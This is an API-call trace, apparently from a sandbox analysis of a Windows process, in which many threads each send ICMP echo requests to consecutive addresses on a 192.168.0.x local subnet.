	[0252.854] IcmpSendEcho (IcmpHandle=0x302cd0, DestinationAddress=0x2400a8c0, RequestData=0xb1df980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb1df9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2906
	os_tid = 0x3370

	[0250.068] GetLastError () returned 0x57
	[0250.068] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30c8f0
	[0250.068] SetLastError (dwErrCode=0x57) 
	[0250.068] IcmpCreateFile () returned 0x302d20
	[0252.854] IcmpSendEcho (IcmpHandle=0x302d20, DestinationAddress=0x2500a8c0, RequestData=0xb46fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb46fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2907
	os_tid = 0x3374

	[0250.069] GetLastError () returned 0x57
	[0250.069] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30ccc0
	[0250.069] SetLastError (dwErrCode=0x57) 
	[0250.069] IcmpCreateFile () returned 0x302d70
	[0252.855] IcmpSendEcho (IcmpHandle=0x302d70, DestinationAddress=0x2600a8c0, RequestData=0xb67f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb67f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2908
	os_tid = 0x3378

	[0250.070] GetLastError () returned 0x57
	[0250.070] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30d090
	[0250.070] SetLastError (dwErrCode=0x57) 
	[0250.070] IcmpCreateFile () returned 0x302dc0
	[0252.856] IcmpSendEcho (IcmpHandle=0x302dc0, DestinationAddress=0x2700a8c0, RequestData=0xa74f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa74f880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2909
	os_tid = 0x337c

	[0250.070] GetLastError () returned 0x57
	[0250.071] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30d460
	[0250.071] SetLastError (dwErrCode=0x57) 
	[0250.071] IcmpCreateFile () returned 0x302e10
	[0252.857] IcmpSendEcho (IcmpHandle=0x302e10, DestinationAddress=0x2800a8c0, RequestData=0xb81f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb81f940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2910
	os_tid = 0x3380

	[0250.206] GetLastError () returned 0x57
	[0250.206] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30d830
	[0250.206] SetLastError (dwErrCode=0x57) 
	[0250.206] IcmpCreateFile () returned 0x302e60
	[0252.858] IcmpSendEcho (IcmpHandle=0x302e60, DestinationAddress=0x2900a8c0, RequestData=0xb99fa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb99fa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2918
	os_tid = 0x33a0


Thread:
	id = 2919
	os_tid = 0x33a4

	[0250.206] GetLastError () returned 0x57
	[0250.207] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30dc00
	[0250.207] SetLastError (dwErrCode=0x57) 
	[0250.207] IcmpCreateFile () returned 0x302eb0
	[0252.859] IcmpSendEcho (IcmpHandle=0x302eb0, DestinationAddress=0x2a00a8c0, RequestData=0xb35fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb35fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2920
	os_tid = 0x33a8

	[0250.207] GetLastError () returned 0x57
	[0250.207] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30dfd0
	[0250.208] SetLastError (dwErrCode=0x57) 
	[0250.208] IcmpCreateFile () returned 0x302f00
	[0252.859] IcmpSendEcho (IcmpHandle=0x302f00, DestinationAddress=0x2b00a8c0, RequestData=0xbc3fc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbc3fca0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2921
	os_tid = 0x33ac

	[0250.208] GetLastError () returned 0x57
	[0250.208] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30e3a0
	[0250.208] SetLastError (dwErrCode=0x57) 
	[0250.209] IcmpCreateFile () returned 0x302f50
	[0252.860] IcmpSendEcho (IcmpHandle=0x302f50, DestinationAddress=0x2c00a8c0, RequestData=0xbdbf780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbdbf7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2922
	os_tid = 0x33b0

	[0250.209] GetLastError () returned 0x57
	[0250.209] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30e770
	[0250.209] SetLastError (dwErrCode=0x57) 
	[0250.209] IcmpCreateFile () returned 0x302fa0
	[0252.861] IcmpSendEcho (IcmpHandle=0x302fa0, DestinationAddress=0x2d00a8c0, RequestData=0xbebfea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbebfec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2923
	os_tid = 0x33b4

	[0250.210] GetLastError () returned 0x57
	[0250.210] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30eb40
	[0250.210] SetLastError (dwErrCode=0x57) 
	[0250.210] IcmpCreateFile () returned 0x302ff0
	[0252.862] IcmpSendEcho (IcmpHandle=0x302ff0, DestinationAddress=0x2e00a8c0, RequestData=0xc0ff980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc0ff9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2924
	os_tid = 0x33b8

	[0250.211] GetLastError () returned 0x57
	[0250.211] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30ef10
	[0250.211] SetLastError (dwErrCode=0x57) 
	[0250.211] IcmpCreateFile () returned 0x303040
	[0252.862] IcmpSendEcho (IcmpHandle=0x303040, DestinationAddress=0x2f00a8c0, RequestData=0xc2efea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc2efec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2925
	os_tid = 0x33bc

	[0250.211] GetLastError () returned 0x57
	[0250.211] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x30f2e0
	[0250.212] SetLastError (dwErrCode=0x57) 
	[0250.212] IcmpCreateFile () returned 0x303090
	[0252.863] IcmpSendEcho (IcmpHandle=0x303090, DestinationAddress=0x3000a8c0, RequestData=0xc4ff960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc4ff980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2926
	os_tid = 0x33c0

	[0250.212] GetLastError () returned 0x57
	[0250.212] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3121b0
	[0250.214] SetLastError (dwErrCode=0x57) 
	[0250.214] IcmpCreateFile () returned 0x3030e0
	[0252.864] IcmpSendEcho (IcmpHandle=0x3030e0, DestinationAddress=0x3100a8c0, RequestData=0xc70fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc70fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2927
	os_tid = 0x33c4

	[0250.215] GetLastError () returned 0x57
	[0250.216] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x312580
	[0250.216] SetLastError (dwErrCode=0x57) 
	[0250.216] IcmpCreateFile () returned 0x303130
	[0252.865] IcmpSendEcho (IcmpHandle=0x303130, DestinationAddress=0x3200a8c0, RequestData=0xbfff8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbfff900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2928
	os_tid = 0x33c8

	[0250.216] GetLastError () returned 0x57
	[0250.216] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x312950
	[0250.216] SetLastError (dwErrCode=0x57) 
	[0250.217] IcmpCreateFile () returned 0x303180
	[0252.865] IcmpSendEcho (IcmpHandle=0x303180, DestinationAddress=0x3300a8c0, RequestData=0xc90fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc90fb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2929
	os_tid = 0x33cc

	[0250.217] GetLastError () returned 0x57
	[0250.217] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x312d20
	[0250.217] SetLastError (dwErrCode=0x57) 
	[0250.217] IcmpCreateFile () returned 0x3031d0
	[0252.866] IcmpSendEcho (IcmpHandle=0x3031d0, DestinationAddress=0x3400a8c0, RequestData=0xcaff8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcaff8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2930
	os_tid = 0x33d0

	[0250.218] GetLastError () returned 0x57
	[0250.218] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3130f0
	[0250.218] SetLastError (dwErrCode=0x57) 
	[0250.218] IcmpCreateFile () returned 0x303220
	[0252.867] IcmpSendEcho (IcmpHandle=0x303220, DestinationAddress=0x3500a8c0, RequestData=0xc3ef7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc3ef7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2931
	os_tid = 0x33d4

	[0250.218] GetLastError () returned 0x57
	[0250.218] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3134c0
	[0250.219] SetLastError (dwErrCode=0x57) 
	[0250.219] IcmpCreateFile () returned 0x303270
	[0252.868] IcmpSendEcho (IcmpHandle=0x303270, DestinationAddress=0x3600a8c0, RequestData=0xcd6fc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcd6fca0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2932
	os_tid = 0x33d8

	[0250.219] GetLastError () returned 0x57
	[0250.219] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x313890
	[0250.220] SetLastError (dwErrCode=0x57) 
	[0250.220] IcmpCreateFile () returned 0x3032c0
	[0252.869] IcmpSendEcho (IcmpHandle=0x3032c0, DestinationAddress=0x3700a8c0, RequestData=0xcf3f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcf3f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2933
	os_tid = 0x33dc

	[0250.220] GetLastError () returned 0x57
	[0250.220] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x313c60
	[0250.220] SetLastError (dwErrCode=0x57) 
	[0250.220] IcmpCreateFile () returned 0x303310
	[0252.870] IcmpSendEcho (IcmpHandle=0x303310, DestinationAddress=0x3800a8c0, RequestData=0xc80fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc80fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2934
	os_tid = 0x33e0

	[0250.223] GetLastError () returned 0x57
	[0250.223] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x314030
	[0250.223] SetLastError (dwErrCode=0x57) 
	[0250.224] IcmpCreateFile () returned 0x303360
	[0252.870] IcmpSendEcho (IcmpHandle=0x303360, DestinationAddress=0x3900a8c0, RequestData=0x9fbf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9fbf940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2935
	os_tid = 0x33e4

	[0250.224] GetLastError () returned 0x57
	[0250.224] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x314400
	[0250.224] SetLastError (dwErrCode=0x57) 
	[0250.224] IcmpCreateFile () returned 0x3033b0
	[0252.871] IcmpSendEcho (IcmpHandle=0x3033b0, DestinationAddress=0x3a00a8c0, RequestData=0xd0ffd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd0ffd60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2936
	os_tid = 0x33e8

	[0250.225] GetLastError () returned 0x57
	[0250.225] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3147d0
	[0250.225] SetLastError (dwErrCode=0x57) 
	[0250.225] IcmpCreateFile () returned 0x303400
	[0252.872] IcmpSendEcho (IcmpHandle=0x303400, DestinationAddress=0x3b00a8c0, RequestData=0xcc5fe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcc5fe20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2937
	os_tid = 0x33ec

	[0250.226] GetLastError () returned 0x57
	[0250.226] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x314ba0
	[0250.226] SetLastError (dwErrCode=0x57) 
	[0250.226] IcmpCreateFile () returned 0x303450
	[0252.873] IcmpSendEcho (in: IcmpHandle=0x303450, DestinationAddress=0x3c00a8c0, RequestData=0xd29fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd29fea0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd29fea0) returned 0x1
	[0253.422] IcmpCloseHandle (IcmpHandle=0x303450) returned 1
	[0253.422] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x314ba0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 2938
	os_tid = 0x33f0

	[0250.226] GetLastError () returned 0x57
	[0250.227] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x314f70
	[0250.227] SetLastError (dwErrCode=0x57) 
	[0250.227] IcmpCreateFile () returned 0x3034a0
	[0252.874] IcmpSendEcho (IcmpHandle=0x3034a0, DestinationAddress=0x3d00a8c0, RequestData=0xd4dfd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd4dfd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2939
	os_tid = 0x33f4

	[0250.227] GetLastError () returned 0x57
	[0250.227] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x315340
	[0250.228] SetLastError (dwErrCode=0x57) 
	[0250.228] IcmpCreateFile () returned 0x3034f0
	[0252.875] IcmpSendEcho (IcmpHandle=0x3034f0, DestinationAddress=0x3e00a8c0, RequestData=0xd5ef7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd5ef800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2940
	os_tid = 0x33f8

	[0250.228] GetLastError () returned 0x57
	[0250.229] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x315710
	[0250.229] SetLastError (dwErrCode=0x57) 
	[0250.229] IcmpCreateFile () returned 0x303540
	[0252.875] IcmpSendEcho (IcmpHandle=0x303540, DestinationAddress=0x3f00a8c0, RequestData=0xd75f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd75f820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2941
	os_tid = 0x33fc

	[0250.229] GetLastError () returned 0x57
	[0250.229] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x315ae0
	[0250.230] SetLastError (dwErrCode=0x57) 
	[0250.230] IcmpCreateFile () returned 0x303590
	[0252.876] IcmpSendEcho (IcmpHandle=0x303590, DestinationAddress=0x4000a8c0, RequestData=0xc5ff960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc5ff980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2942
	os_tid = 0x2b28

	[0250.230] GetLastError () returned 0x57
	[0250.230] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31e1b0
	[0250.232] SetLastError (dwErrCode=0x57) 
	[0250.232] IcmpCreateFile () returned 0x3035e0
	[0252.877] IcmpSendEcho (IcmpHandle=0x3035e0, DestinationAddress=0x4100a8c0, RequestData=0xd96fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd96fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2943
	os_tid = 0x2fa4

	[0250.232] GetLastError () returned 0x57
	[0250.232] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31e580
	[0250.232] SetLastError (dwErrCode=0x57) 
	[0250.232] IcmpCreateFile () returned 0x303630
	[0252.878] IcmpSendEcho (IcmpHandle=0x303630, DestinationAddress=0x4200a8c0, RequestData=0xdb5fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdb5fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2944
	os_tid = 0x2b38

	[0250.233] GetLastError () returned 0x57
	[0250.233] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31e950
	[0250.233] SetLastError (dwErrCode=0x57) 
	[0250.233] IcmpCreateFile () returned 0x303680
	[0252.879] IcmpSendEcho (IcmpHandle=0x303680, DestinationAddress=0x4300a8c0, RequestData=0xdc8fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdc8fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2945
	os_tid = 0x2b34

	[0250.454] GetLastError () returned 0x57
	[0250.454] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31ed20
	[0250.454] SetLastError (dwErrCode=0x57) 
	[0250.454] IcmpCreateFile () returned 0x3036d0
	[0252.880] IcmpSendEcho (IcmpHandle=0x3036d0, DestinationAddress=0x4400a8c0, RequestData=0xdd9fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdd9fbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2949
	os_tid = 0x3088

	[0250.455] GetLastError () returned 0x57
	[0250.455] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31f0f0
	[0250.455] SetLastError (dwErrCode=0x57) 
	[0250.455] IcmpCreateFile () returned 0x303720
	[0252.881] IcmpSendEcho (IcmpHandle=0x303720, DestinationAddress=0x4500a8c0, RequestData=0xd86f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd86f9e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2950
	os_tid = 0x308c

	[0250.455] GetLastError () returned 0x57
	[0250.455] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31f4c0
	[0250.456] SetLastError (dwErrCode=0x57) 
	[0250.456] IcmpCreateFile () returned 0x303770
	[0252.883] IcmpSendEcho (IcmpHandle=0x303770, DestinationAddress=0x4600a8c0, RequestData=0xd3bfc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd3bfc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2951
	os_tid = 0x3084

	[0250.456] GetLastError () returned 0x57
	[0250.456] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31f890
	[0250.456] SetLastError (dwErrCode=0x57) 
	[0250.456] IcmpCreateFile () returned 0x3037c0
	[0252.885] IcmpSendEcho (IcmpHandle=0x3037c0, DestinationAddress=0x4700a8c0, RequestData=0xe03f880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe03f8a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2952
	os_tid = 0x2f98

	[0250.457] GetLastError () returned 0x57
	[0250.457] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x31fc60
	[0250.457] SetLastError (dwErrCode=0x57) 
	[0250.457] IcmpCreateFile () returned 0x303810
	[0252.886] IcmpSendEcho (IcmpHandle=0x303810, DestinationAddress=0x4800a8c0, RequestData=0xdf1fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdf1fd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2953
	os_tid = 0x2d04

	[0250.458] GetLastError () returned 0x57
	[0250.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x320030
	[0250.458] SetLastError (dwErrCode=0x57) 
	[0250.458] IcmpCreateFile () returned 0x303860
	[0252.887] IcmpSendEcho (IcmpHandle=0x303860, DestinationAddress=0x4900a8c0, RequestData=0xe1dfec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe1dfee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2954
	os_tid = 0x3404

	[0250.458] GetLastError () returned 0x57
	[0250.458] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x320400
	[0250.459] SetLastError (dwErrCode=0x57) 
	[0250.459] IcmpCreateFile () returned 0x3038b0
	[0252.888] IcmpSendEcho (IcmpHandle=0x3038b0, DestinationAddress=0x4a00a8c0, RequestData=0xe45fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe45faa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2955
	os_tid = 0x3408

	[0250.459] GetLastError () returned 0x57
	[0250.459] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3207d0
	[0250.460] SetLastError (dwErrCode=0x57) 
	[0250.460] IcmpCreateFile () returned 0x303900
	[0252.889] IcmpSendEcho (IcmpHandle=0x303900, DestinationAddress=0x4b00a8c0, RequestData=0xe66fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe66fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2956
	os_tid = 0x340c

	[0250.460] GetLastError () returned 0x57
	[0250.460] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x320ba0
	[0250.461] SetLastError (dwErrCode=0x57) 
	[0250.461] IcmpCreateFile () returned 0x3229b0
	[0252.889] IcmpSendEcho (IcmpHandle=0x3229b0, DestinationAddress=0x4c00a8c0, RequestData=0xe33fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe33fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2957
	os_tid = 0x3410

	[0250.463] GetLastError () returned 0x57
	[0250.463] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x320f70
	[0250.464] SetLastError (dwErrCode=0x57) 
	[0250.464] IcmpCreateFile () returned 0x322a00
	[0252.890] IcmpSendEcho (IcmpHandle=0x322a00, DestinationAddress=0x4d00a8c0, RequestData=0xe8ef840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe8ef860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2958
	os_tid = 0x3414

	[0250.465] GetLastError () returned 0x57
	[0250.465] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x321340
	[0250.465] SetLastError (dwErrCode=0x57) 
	[0250.465] IcmpCreateFile () returned 0x322a50
	[0252.891] IcmpSendEcho (IcmpHandle=0x322a50, DestinationAddress=0x4e00a8c0, RequestData=0xb56fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb56fee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2959
	os_tid = 0x3418

	[0250.465] GetLastError () returned 0x57
	[0250.465] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x321710
	[0250.466] SetLastError (dwErrCode=0x57) 
	[0250.466] IcmpCreateFile () returned 0x322aa0
	[0252.892] IcmpSendEcho (IcmpHandle=0x322aa0, DestinationAddress=0x4f00a8c0, RequestData=0xe7efa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe7efa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2960
	os_tid = 0x341c

	[0250.466] GetLastError () returned 0x57
	[0250.466] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x321ae0
	[0250.466] SetLastError (dwErrCode=0x57) 
	[0250.467] IcmpCreateFile () returned 0x322af0
	[0252.893] IcmpSendEcho (IcmpHandle=0x322af0, DestinationAddress=0x5000a8c0, RequestData=0xea6fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xea6fee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2961
	os_tid = 0x3420

	[0250.467] GetLastError () returned 0x57
	[0250.467] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3239b0
	[0250.469] SetLastError (dwErrCode=0x57) 
	[0250.469] IcmpCreateFile () returned 0x322b40
	[0252.894] IcmpSendEcho (IcmpHandle=0x322b40, DestinationAddress=0x5100a8c0, RequestData=0xed0fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xed0fee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2962
	os_tid = 0x3424

	[0250.469] GetLastError () returned 0x57
	[0250.469] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x323d80
	[0250.469] SetLastError (dwErrCode=0x57) 
	[0250.469] IcmpCreateFile () returned 0x322b90
	[0252.895] IcmpSendEcho (IcmpHandle=0x322b90, DestinationAddress=0x5200a8c0, RequestData=0xeedfbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xeedfbe0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2963
	os_tid = 0x3428

	[0250.470] GetLastError () returned 0x57
	[0250.470] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x324150
	[0250.470] SetLastError (dwErrCode=0x57) 
	[0250.470] IcmpCreateFile () returned 0x322be0
	[0252.895] IcmpSendEcho (IcmpHandle=0x322be0, DestinationAddress=0x5300a8c0, RequestData=0xeb8fee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xeb8ff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2964
	os_tid = 0x342c

	[0250.470] GetLastError () returned 0x57
	[0250.471] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x324520
	[0250.471] SetLastError (dwErrCode=0x57) 
	[0250.471] IcmpCreateFile () returned 0x322c30
	[0252.896] IcmpSendEcho (IcmpHandle=0x322c30, DestinationAddress=0x5400a8c0, RequestData=0xf0bf820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf0bf840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2965
	os_tid = 0x3430

	[0250.471] GetLastError () returned 0x57
	[0250.471] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3248f0
	[0250.472] SetLastError (dwErrCode=0x57) 
	[0250.472] IcmpCreateFile () returned 0x322c80
	[0252.897] IcmpSendEcho (IcmpHandle=0x322c80, DestinationAddress=0x5500a8c0, RequestData=0xf31f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf31f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2966
	os_tid = 0x3434

	[0250.473] GetLastError () returned 0x57
	[0250.473] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x324cc0
	[0250.473] SetLastError (dwErrCode=0x57) 
	[0250.473] IcmpCreateFile () returned 0x322cd0
	[0252.898] IcmpSendEcho (IcmpHandle=0x322cd0, DestinationAddress=0x5600a8c0, RequestData=0xf1ffec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf1ffee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2967
	os_tid = 0x3438

	[0250.474] GetLastError () returned 0x57
	[0250.474] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x325090
	[0250.474] SetLastError (dwErrCode=0x57) 
	[0250.474] IcmpCreateFile () returned 0x322d20
	[0252.899] IcmpSendEcho (IcmpHandle=0x322d20, DestinationAddress=0x5700a8c0, RequestData=0xf43f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf43f780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2968
	os_tid = 0x343c

	[0250.475] GetLastError () returned 0x57
	[0250.475] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x325460
	[0250.475] SetLastError (dwErrCode=0x57) 
	[0250.475] IcmpCreateFile () returned 0x322d70
	[0252.900] IcmpSendEcho (IcmpHandle=0x322d70, DestinationAddress=0x5800a8c0, RequestData=0xe55fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe55fec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2969
	os_tid = 0x3440

	[0250.475] GetLastError () returned 0x57
	[0250.476] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x325830
	[0250.476] SetLastError (dwErrCode=0x57) 
	[0250.476] IcmpCreateFile () returned 0x322dc0
